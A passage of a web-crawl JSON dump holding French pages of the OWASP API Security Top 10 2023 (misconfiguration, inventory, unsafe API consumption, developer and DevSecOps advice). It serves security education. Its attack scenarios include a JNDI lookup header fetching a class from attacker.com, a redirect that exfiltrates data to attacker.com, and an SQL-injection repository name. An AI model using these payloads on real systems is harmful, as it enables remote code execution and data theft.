"https://cwe.mitre.org/data/definitions/918.html", "https://snyk.io/blog/url-confusion-vulnerabilities/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa8-security-misconfiguration/", "titulek": "API8:2023 Security Misconfiguration - OWASP API Security Top 10", "h1": "API8:2023 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa8-security-misconfiguration/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2023 Security Misconfiguration"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API8:2023 Security Misconfiguration\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation |\n| Les attaquants cherchent souvent à trouver des failles non corrigées, des points d'accès courants, des services fonctionnant avec des configurations par défaut non sécurisées ou des fichiers et répertoires non protégés pour obtenir un accès non autorisé ou des informations sur le système. La plupart de ces informations sont publiques et des exploits peuvent être disponibles. | La mauvaise configuration de sécurité peut se produire à n'importe quel niveau de la pile API, du réseau à l'application. Des outils automatisés sont disponibles pour détecter et exploiter des configurations incorrectes telles que des services inutiles ou des options héritées. | Les mauvaises configurations de sécurité exposent non seulement des données utilisateur sensibles, mais aussi des détails système qui peuvent conduire à la compromission complète du serveur. |\n\n## L'API est-elle vulnérable ?\n\nL'API peut être vulnérable si :\n\n- La sécurisation appropriée est absente à travers n'importe quelle partie de la pile API, ou si les permissions sur les services cloud sont mal configurées\n- Les derniers correctifs de sécurité sont manquants, ou si les systèmes sont obsolètes\n- Des fonctionnalités inutiles sont activées (par exemple, les verbes HTTP, les fonctionnalités de journalisation)\n- Il y a des divergences dans la façon dont les requêtes entrantes sont traitées par les serveurs dans la chaîne du serveur HTTP\n- La sécurité du transport (TLS) est absente\n- Les directives de sécurité ou de contrôle de cache ne sont pas envoyées aux clients\n- Une politique Cross-Origin Resource Sharing (CORS) est manquante ou mal configurée\n- Les messages d'erreur incluent des traces de pile, ou exposent d'autres informations sensibles\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUn serveur back-end d'API maintient un journal d'accès écrit par un utilitaire de journalisation open-source populaire avec prise en charge de l'expansion de paramètres et des recherches JNDI (Java Naming and Directory Interface), tous deux activés par défaut. Pour chaque requête, une nouvelle entrée est écrite dans le fichier journal avec le modèle suivant : ` / - `.\n\nUn acteur malveillant émet la requête API suivante, qui est écrite dans le fichier journal d'accès :\n\n```\nGET /health\nX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}\n```\n\nEn raison de la configuration par défaut non sécurisée de l'utilitaire de journalisation et d'une politique de sortie réseau permissive, pour écrire l'entrée correspondante dans le journal d'accès, tout en développant la valeur de l'en-tête de requête `X-Api-Version`, l'utilitaire de journalisation va extraire et exécuter l'objet `Malicious.class` du serveur contrôlé à distance par l'attaquant.\n\n### Scénario #2\n\nUn site web de réseau social propose une fonctionnalité de \"Message Direct\" qui permet aux utilisateurs de garder des conversations privées. Pour récupérer de nouveaux messages pour une conversation spécifique, le site web émet la requête API suivante (l'interaction de l'utilisateur n'est pas requise) :\n\n```\nGET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA\n```\n\nParce que la réponse de l'API ne comprend pas l'en-tête HTTP `Cache-Control`, les conversations privées sont mises en cache par le navigateur web, permettant aux acteurs malveillants de les récupérer à partir des fichiers de cache du navigateur.\n\nLe cycle de vie de l'API devrait inclure :\n\n- Un processus de durcissement reproductible menant à un déploiement rapide et facile d'un environnement correctement sécurisé\n- Une tâche pour examiner et mettre à jour les configurations dans toute la pile API. L'examen devrait inclure : les fichiers d'orchestration, les composants API et les services cloud (par exemple, les autorisations de compartiment S3)\n- Un processus automatisé pour évaluer en continu l'efficacité de la configuration et des paramètres dans tous les environnements\n\nDe plus :\n\n- Assurez-vous que toutes les communications API du client vers le serveur API et tout composant en aval/amont se font sur un canal de communication chiffré (TLS), qu'il s'agisse d'une API interne ou publique.\n- Soyez spécifique sur les verbes HTTP par lesquels chaque API peut être accédée : tous les autres verbes HTTP devraient être désactivés (par exemple, HEAD).\n- Les API s'attendant à être accessibles depuis des clients basés sur un navigateur (par exemple, une interface WebApp) devraient, au moins :\n - implémenter une politique Cross-Origin Resource Sharing (CORS) appropriée\n - inclure les en-têtes de sécurité applicables\n- Restreignez les types de contenu/format de données entrants à ceux qui répondent aux exigences commerciales/fonctionnelles.\n- Assurez-vous que tous les serveurs dans la chaîne du serveur HTTP (par exemple, les équilibreurs de charge, les proxies et les proxies inverses, ainsi que les serveurs back-end) traitent les requêtes entrantes de manière uniforme pour éviter les problèmes de désynchronisation.\n- Lorsque cela est applicable, définissez et appliquez tous les schémas de charge utile de réponse API, y compris les réponses d'erreur, pour empêcher les traces d'exception et d'autres informations précieuses d'être renvoyées aux attaquants.\n\n## Références\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [Configuration and Deployment Management Testing - Web Security Testing\n Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Testing for Error Handling - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n- [Testing for Cross Site Request Forgery - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n### Externes\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-209: Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response\n Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let's Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 7121, "slov": 919, "odkazu": 77, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:55", "sha256": "8c2760796e025e917f3b0efe9640fa26993d4b11a81f9c44f12368e3c0f775ba", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/388.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/942.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa9-improper-inventory-management/", "titulek": "API9:2023 Improper Inventory Management - OWASP API Security Top 10", "h1": "API9:2023 Improper Inventory Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa9-improper-inventory-management/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2023 Improper Inventory Management"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API9:2023 Improper Inventory Management\n\n| Facteurs de menace/Vecteurs d'attaque | Faiblesse de sécurité | Impacts |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Moyenne** | Technique **Modérée** : Spécifique à l'organisation |\n| Les attaquants cherchent généralement à accéder de manière non autorisée à travers d'anciennes versions d'API ou des points d'accès laissés non corrigés et utilisant des exigences de sécurité plus faibles. Dans certains cas, des exploits sont disponibles. Alternativement, ils peuvent accéder à des données sensibles via un tiers avec lequel il n'y a aucune raison de partager des données. | Une documentation obsolète rend plus difficile la recherche et/ou la correction des vulnérabilités. L'absence d'inventaire des actifs et de stratégies de retraite conduit à l'exécution de systèmes non corrigés, entraînant une fuite de données sensibles. Il est courant de trouver des hôtes API inutilement exposés en raison de concepts modernes tels que les microservices, qui facilitent le déploiement et l'indépendance des applications (par exemple, le cloud computing, K8S). Une simple recherche Google Dorking, une énumération DNS ou l'utilisation de moteurs de recherche spécialisés pour divers types de serveurs (webcams, routeurs, serveurs, etc.) connectés à Internet suffiront pour découvrir des cibles. | Les attaquants peuvent accéder à des données sensibles, voire prendre le contrôle du serveur. Parfois, différentes versions/déploiements d'API sont connectés à la même base de données avec des données réelles. Les agents de menace peuvent exploiter des points d'accès obsolètes disponibles dans d'anciennes versions d'API pour accéder à des fonctions d'administration ou exploiter des vulnérabilités connues. |\n\n## L'API est-elle vulnérable ?\n\nLes API modernes sont souvent exposées à des risques de sécurité en raison de la complexité des applications et de la nature connectée des systèmes. Les API sont souvent mal documentées, ce qui rend difficile la recherche et la correction des vulnérabilités. Les API obsolètes ou non corrigées sont des cibles faciles pour les attaquants.\n\nFaire fonctionner plusieurs versions d'une API nécessite des ressources de gestion supplémentaires de la part du fournisseur de l'API et augmente la surface d'attaque.\n\nUne API a un \"angle mort de la documentation\" si :\n\n- Le but de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes\n - Dans quel environnement l'API fonctionne-t-elle (par exemple, production, staging, test, développement) ?\n - Qui devrait avoir accès au réseau de l'API (par exemple, public, interne, partenaires) ?\n - Quelle version de l'API est en cours d'exécution ?\n- Il n'y a pas de documentation ou la documentation existante n'est pas mise à jour.\n- Il n'y a pas de plan de retraite pour chaque version de l'API.\n- L'inventaire de l'hôte est manquant ou obsolète.\n\nLa visibilité et l'inventaire des flux de données sensibles jouent un rôle important dans le cadre d'un plan de réponse aux incidents, au cas où une violation se produirait du côté du tiers.\n\nUne API a un \"angle mort du flux de données\" si :\n\n- Il y a un \"flux de données sensible\" où l'API partage des données sensibles avec un tiers et\n - Il n'y a pas de justification commerciale ou d'approbation du flux\n - Il n'y a pas d'inventaire ou de visibilité du flux\n - Il n'y a pas de visibilité approfondie sur le type de données sensibles partagées\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUn réseau social a mis en place un mécanisme de limitation du taux qui bloque les attaquants qui utilisent la force brute pour deviner les jetons de réinitialisation de mot de passe. Ce mécanisme n'a pas été mis en place dans le code de l'API lui-même, mais dans un composant séparé entre le client et l'API officielle (`api.socialnetwork.owasp.org`). Un chercheur a trouvé un hôte API bêta (`beta.api.socialnetwork.owasp.org`) qui exécute la même API, y compris le mécanisme de réinitialisation du mot de passe, mais le mécanisme de limitation du taux n'était pas en place. Le chercheur a pu réinitialiser le mot de passe de n'importe quel utilisateur en utilisant une simple force brute pour deviner le jeton à 6 chiffres.\n\n### Scénario #2\n\nUn réseau social permet aux développeurs d'applications indépendantes d'intégrer leurs applications avec lui. Dans le cadre de ce processus, un consentement est demandé à l'utilisateur final, afin que le réseau social puisse partager les informations personnelles de l'utilisateur avec l'application indépendante.\n\nLe flux de données entre le réseau social et les applications indépendantes n'est pas suffisamment restrictif ou surveillé, permettant aux applications indépendantes d'accéder non seulement aux informations de l'utilisateur, mais aussi aux informations privées de tous leurs amis.\n\nUne société de conseil crée une application malveillante et parvient à obtenir le consentement de 270 000 utilisateurs. En raison de la faille, la société de conseil parvient à accéder aux informations privées de 50 000 000 d'utilisateurs. Plus tard, la société de conseil vend les informations à des fins malveillantes.\n\n- Inventoriez tous les hôtes API et documentez les aspects importants de chacun d'eux, en mettant l'accent sur l'environnement de l'API (par exemple, production, staging, test, développement), qui devrait avoir accès, en réseau, à l'hôte (par exemple, public, interne, partenaires) et la version d'API.\n- Inventoriez les services intégrés et documentez les aspects importants tels que leur rôle dans le système, les données échangées (flux de données) et leur sensibilité.\n- Documentez tous les aspects de votre API tels que l'authentification, les erreurs, les redirections, la limitation du taux, la politique de partage des ressources entre origines (CORS) et les points d'accès, y compris leurs paramètres, requêtes et réponses.\n- Générez automatiquement la documentation en adoptant des normes ouvertes. Incluez la génération de documentation dans votre pipeline CI/CD.\n- Rendez la documentation de l'API disponible uniquement aux personnes autorisées à utiliser l'API.\n- Utilisez des mesures de protection externes telles que des solutions de sécurité spécifiques aux APIs pour toutes les versions exposées de vos API, pas seulement pour la version de production.\n- Évitez d'utiliser des données de production avec des déploiements d'API hors production. Si cela est inévitable, ces points d'accès doivent bénéficier du même traitement de sécurité que les points d'accès de production.\n- Lorsque les nouvelles versions des API incluent des améliorations de sécurité, effectuez une analyse des risques pour informer des actions de mitigation requises pour les anciennes versions. Par exemple, s'il est possible de rétroporter les améliorations sans casser la compatibilité de l'API plus ancienne ou si vous devez retirer rapidement l'ancienne version et forcer tous les clients à passer à la dernière version.\n\n## Références\n\n### Externes\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)", "znaku_textu": 7050, "slov": 1059, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:49:46", "sha256": "acc88fd29736fa87daf0ad1e8ecbdb51209178e64e0b745d74289ee506400782", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xaa-unsafe-consumption-of-apis/", "titulek": "API10:2023 Unsafe Consumption of APIs - OWASP API Security Top 10", "h1": "API10:2023 Unsafe Consumption of APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xaa-unsafe-consumption-of-apis/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2023 Unsafe Consumption of APIs"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API10:2023 Unsafe Consumption of APIs\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Moyenne** | Technique **Grave** : Spécifique à l'organisation |\n| Exploiter ce problème nécessite que les attaquants identifient et compromettent potentiellement d'autres APIs/services avec lesquels l'API cible est intégrée. Habituellement, ces informations ne sont pas publiquement disponibles ou l'API/service intégré n'est pas facilement exploitable. | Les développeurs ont tendance à faire confiance et ne pas vérifier les points d'accès qui interagissent avec des API/services externes ou tiers, en se basant sur des exigences de sécurité plus faibles telles que celles concernant la sécurité du transport, l'authentification/l'autorisation et la validation des entrées. Les attaquants doivent identifier les services avec lesquels l'API cible s'intègre (sources de données) et, éventuellement, les compromettre. | L'impact varie en fonction de ce que l'API cible fait avec les données extraites. L'exploitation réussie peut entraîner une exposition d'informations sensibles à des acteurs non autorisés, de nombreux types d'injections, ou un déni de service. |\n\n## L'API est-elle vulnérable ?\n\nLes développeurs ont tendance à faire confiance aux données reçues des API tierces plus qu'aux entrées utilisateur. Cela est particulièrement vrai pour les API proposées par des entreprises bien connues. En raison de cela, les développeurs ont tendance à adopter des normes de sécurité plus faibles, par exemple en ce qui concerne la validation des entrées et l'analyse en vu de caractères autorisés ou non en entrée (effacés ou échappés).\n\nL'API peut être vulnérable si :\n* Elle interagit avec d'autres API sur un canal non chiffré ;\n* Elle ne valide/filtre pas correctement les données collectées auprès d'autres API avant de les traiter ou de les transmettre à des composants en aval ;\n* Elle suit aveuglément les redirections ;\n* Elle ne limite pas le nombre de ressources disponibles pour traiter les réponses des services tiers ;\n* Elle n'implémente pas de délais d'attente pour les interactions avec les services tiers.\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUne API repose sur un service tiers pour enrichir les adresses commerciales fournies par les utilisateurs. Lorsqu'une adresse est fournie à l'API par l'utilisateur final, elle est envoyée au service tiers et les données renvoyées sont ensuite stockées dans une base de données locale compatible SQL.\n\nLes attaquants utilisent le service tiers pour stocker une payload SQLi associée à une entreprise créée par eux. Ensuite, ils ciblent l'API vulnérable en fournissant une entrée spécifique qui la pousse à extraire leur \"entreprise malveillante\" du service tiers. La charge utile SQLi est alors exécutée par la base de données, exfiltrant des données vers un serveur contrôlé par un attaquant.\n\n### Scénario #2\n\nUne API s'intègre à un fournisseur de services tiers pour stocker en toute sécurité des informations médicales sensibles sur les utilisateurs. Les données sont envoyées via une connexion sécurisée en utilisant une requête HTTP comme celle ci-dessous :\n\n```\nPOST /user/store_phr_record\n{\n \"genome\": \"ACTAGTAG__TTGADDAAIICCTT…\"\n}\n```\n\nDes acteurs malveillants ont trouvé un moyen de compromettre l'API tierce et elle commence à répondre avec une redirection permanente `308` aux requêtes comme la précédente.\n\n```\nHTTP/1.1 308 Permanent Redirect\nLocation: https://attacker.com/\n```\n\nPuisque l'API suit aveuglément les redirections, elle répète la même requête, y compris les données sensibles de l'utilisateur, vers le serveur de l'attaquant.\n\n### Scénario #3\n\nUn attaquant peut préparer un dépôt git nommé `'; drop db;--`.\n\nMaintenant, lorsqu'une intégration d'une application attaquée est effectuée avec le dépôt malveillant, une charge utile d'injection SQL est utilisée sur une application qui construit une requête SQL en croyant que le nom du dépôt est une entrée sûre.\n\n- Lors de l'évaluation des fournisseurs de services, évaluez leur posture de sécurité API.\n- Assurez-vous que toutes les interactions API se font sur un canal de communication sécurisé (TLS).\n- Validez toujours et épurez correctement les données reçues des API intégrées avant de les utiliser.\n- Maintenez une liste blanche des emplacements bien connus vers lesquels les API intégrées peuvent rediriger les vôtres : ne suivez pas aveuglément les redirections.\n\n## Références\n\n### OWASP\n\n- [Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### Externes\n\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)", "znaku_textu": 5495, "slov": 705, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:21", "sha256": "b17213c5408529d6c0cc811ce105cfdfc8fefb0812781ecd8c9509e6ed5a56e1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Injection_Flaws", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/319.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xb0-next-devs/", "titulek": "Perspectives pour les Développeurs - OWASP API Security Top 10", "h1": "Perspectives pour les Développeurs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xb0-next-devs/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Perspectives pour les Développeurs"}], "markdown": "# Perspectives pour les Développeurs\n\nLa tâche de créer et de maintenir des applications sécurisées, ou de corriger des applications existantes, peut être difficile. Il en va de même pour les API.\n\nNous croyons que l'éducation et la sensibilisation sont des facteurs clés pour écrire des logiciels sécurisés. Tout le reste nécessaire pour atteindre l'objectif dépend de **l'établissement et de l'utilisation de processus de sécurité répétables et de contrôles de sécurité standard**.\n\nOWASP fournit de nombreuses ressources gratuites et ouvertes pour vous aider à aborder la sécurité. Veuillez visiter la [page des Projets OWASP](https://owasp.org/projects/) pour une liste complète des projets disponibles.\n\n| | |\n| --- | --- |\n| **Éducation** | Le [Guide de Sécurité des Applications OWASP](https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder) devrait vous donner une bonne idée des projets disponibles pour chaque étape/phase du Cycle de Vie du Développement Logiciel (SDLC). Pour une formation pratique, vous pouvez commencer avec [OWASP **crAPI** - **C**ompletely **R**idiculous **API**](https://owasp.org/www-project-crapi/) ou [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) : tous deux ont des APIs intentionnellement vulnérables. Le [Projet de Répertoire d'Applications Web Vulnérables OWASP](https://owasp.org/www-project-vulnerable-web-applications-directory/) fournit une liste de projets d'applications intentionnellement vulnérables : vous y trouverez plusieurs autres APIs vulnérables. Vous pouvez également assister à des sessions de formation de la [Conférence OWASP AppSec](https://owasp.org/events/), ou [rejoindre votre chapitre local](https://owasp.org/chapters/). |\n| **Exigences de Sécurité** | La sécurité devrait faire partie de chaque projet dès le début. Lors de la définition des exigences, il est important de définir ce que \"sécurisé\" signifie pour ce projet. OWASP vous recommande d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) comme guide pour définir les exigences de sécurité. Si vous externalisez, considérez l'[Annexe de Contrat de Logiciel Sécurisé OWASP](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex), qui devrait être adaptée en fonction des lois et réglementations locales. |\n| **Architecture de Sécurité** | La sécurité devrait rester une préoccupation pendant toutes les étapes du projet. La [Série de Cheet Sheat OWASP](https://cheatsheetseries.owasp.org/) est un bon point de départ pour obtenir des conseils sur la façon de concevoir la sécurité pendant la phase d'architecture. Parmi beaucoup d'autres, vous trouverez la [Fiche de Triche sur la Sécurité REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) et la [Fiche de Triche sur l'Évaluation REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html) ainsi que la [Fiche de Triche GraphQL](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html). |\n| **Contrôles de Sécurité Standard** | L'adoption de contrôles de sécurité standard réduit le risque d'introduire des faiblesses de sécurité tout en écrivant votre propre logique. Bien que de nombreux frameworks modernes viennent maintenant avec des contrôles standard efficaces intégrés, [OWASP Proactive Controls](https://owasp.org/www-project-proactive-controls/) vous donne un bon aperçu des contrôles de sécurité que vous devriez chercher à inclure dans votre projet. OWASP fournit également certaines bibliothèques et outils que vous pourriez trouver précieux, tels que des contrôles de validation. |\n| **Cycle de Vie de Développement Logiciel Sécurisé** | Vous pouvez utiliser le [Modèle de Maturité de l'Assurance Logicielle OWASP (SAMM)](https://owasp.org/www-project-samm/) pour améliorer vos processus de construction d'API. Plusieurs autres projets OWASP sont disponibles pour vous aider pendant les différentes phases de développement d'API, par exemple, le [Guide de Révision de Code OWASP](https://owasp.org/www-project-code-review-guide/). |", "znaku_textu": 4079, "slov": 507, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:25", "sha256": "872ec9eb37f8489e4883f3ea990057023f55c50b5da0cf5bbf3601a899b1ce82", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xb1-next-devsecops/", "titulek": "Perspectives pour les DevSecOps - OWASP API Security Top 10", "h1": "Perspectives pour les DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xb1-next-devsecops/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Perspectives pour les DevSecOps"}], "markdown": "# Perspectives pour les DevSecOps\n\nEn raison de leur importance dans les architectures d'applications modernes, la construction d'API sécurisées est cruciale. La sécurité ne peut être négligée et doit faire partie de tout le cycle de développement. Scanner et réaliser des tests de pénétration une fois par an ne suffit plus.\n\nLes DevSecOps devraient rejoindre l'effort de développement, facilitant les tests de sécurité continus tout au long du cycle de vie du logiciel. Votre objectif devrait être d'améliorer le pipeline de développement avec l'automatisation de la sécurité, sans impacter la vitesse de développement.\n\nEn cas de doute, restez informé et référez-vous au [Manifeste DevSecOps](https://www.devsecops.org/).\n\n| | |\n| --- | --- |\n| **Comprendre le Modèle de Menace** | Les priorités de test proviennent d'un modèle de menace. Si vous n'en avez pas, envisagez d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)](https://owasp.org/www-project-application-security-verification-standard/), et le [Guide de Test de Sécurité OWASP](https://owasp.org/www-project-web-security-testing-guide/) comme entrée. Impliquer l'équipe de développement les rendra plus conscients de la sécurité. |\n| **Comprendre le SDLC** | Rejoignez l'équipe de développement pour mieux comprendre le Cycle de Vie du Développement Logiciel. Votre contribution aux tests de sécurité continus doit être compatible avec les personnes, les processus et les outils. Tout le monde devrait être d'accord avec le processus, pour qu'il n'y ait pas de friction ou de résistance inutile. |\n| **Stratégies de Test** | Puisque votre travail ne doit pas impacter la vitesse de développement, vous devriez choisir judicieusement la meilleure technique (simple, rapide, précise) pour vérifier les exigences de sécurité. Le [Cadre de Connaissance de Sécurité OWASP](https://owasp.org/www-project-security-knowledge-framework/) et le [Standard de Vérification de Sécurité des Applications OWASP](https://owasp.org/www-project-application-security-verification-standard/) peuvent être de grandes sources d'exigences de sécurité fonctionnelles et non fonctionnelles. Il existe d'autres excellentes sources pour des [projets](http://devsecops.github.io/) et [outils](https://github.com/devsecops/awesome-devsecops) similaires à ceux proposés par la [communauté DevSecOps](http://devsecops.org). |\n| **Atteindre la Couverture et la Précision** | Vous êtes le pont entre les équipes de développement et d'exploitation. Pour atteindre une couverture, vous devriez non seulement vous concentrer sur la fonctionnalité, mais aussi sur l'orchestration. Travaillez étroitement avec les équipes de développement et d'exploitation dès le début pour optimiser votre temps et vos efforts. Vous devriez viser un état où la sécurité essentielle est vérifiée en continu. |\n| **Communiquer Clairement les Résultats** | Apportez de la valeur avec moins ou pas de friction. Livrez les résultats en temps voulu, dans les outils que les équipes de développement utilisent (pas de fichiers PDF). Rejoignez l'équipe de développement pour traiter les résultats. Profitez de l'occasion pour les former, en décrivant clairement la faiblesse et comment elle peut être exploitée, y compris un scénario d'attaque pour le rendre réel. |", "znaku_textu": 3238, "slov": 441, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:36", "sha256": 